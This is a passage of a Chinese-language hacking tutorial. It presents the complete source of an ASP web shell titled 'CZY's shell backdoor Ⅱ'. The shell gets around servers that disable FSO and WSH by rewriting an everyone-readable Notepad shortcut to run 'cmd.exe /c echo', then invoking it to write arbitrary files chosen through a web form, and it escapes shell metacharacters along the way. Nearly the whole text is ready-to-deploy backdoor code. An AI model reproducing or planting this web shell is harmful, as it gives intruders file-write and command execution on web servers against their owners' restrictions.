现在把代码也"升级"一 下,以实现了文件的写入,因为对于禁用了FSO,WSH的主机来说写文件的确是一个难事. 你也许会问shell对象有写文件的功能吗?的确在MSDN中 并没有介绍,但是shell对象可以对已存在的LNK/URL/PIF文件进行更改,并且更改后可以保存为别的文件名.
只能写LNK文件有用吗?这儿我们如果再使用shell对象的invokeverb方法来执行这个LNK文件的话那我们不就能写任意文件了!为什么?因为LNK文件中指定的执行程序是可以加参数的那么我们就可以调用cmd 的echo功能来写文件.
好思路在这儿了,编程中遇到的实际问题如下:
1.要找到一个everyone可以仿问的LNK文件。找了一下发现:
"C:\Documents and Settings\Default User\「开始」菜单\程序\附件"目录下的默认LNK文件everyone
用户都默认具有读取权限.
2.利用cmd.exe /c echo来写件的时候">","<",双引号,"&"等有特殊意义不能直接写入必须在它们的前面
使用转义符^.另外双引号在vb中也有特殊意义只有用chr(34)来代替.
<%
path=trim(Request.querystring("path"))
text=trim(Request.querystring("text"))
if text<>"" and path<>"" then
text=replace(text,">","^>")
text=replace(text,"<","^<")
text=replace(text,"&","^&")
text=replace(text,chr(34),"^"&chr(34))
set shell=server.createobject("shell.application")
set shellfolder=shell.namespace("C:\Documents and Settings\Default User\「开始」菜单\程序\附件")
set shellfolderitem=shellfolder.parsename("记事本.lnk")
set objshelllink =shellfolderitem.getlink
objshelllink.path="cmd.exe"
objshelllink.arguments="/c echo "&text&">"&path&" &&del c:\a.lnk"
objshelllink.save("c:\a.lnk")
shell.namespace("c:\").items.item("a.lnk").invokeverb
end if
%>
<html>
<title>CZY's shell backdoor Ⅱ</title>
<form action=shell2.asp>
路径与文件名:<input type=text name=path size=40><p>
文件内容:<textarea name=text rows=20 cols=50 ></textarea><p>
<input type=submit value=生成文件>
</form>
</html>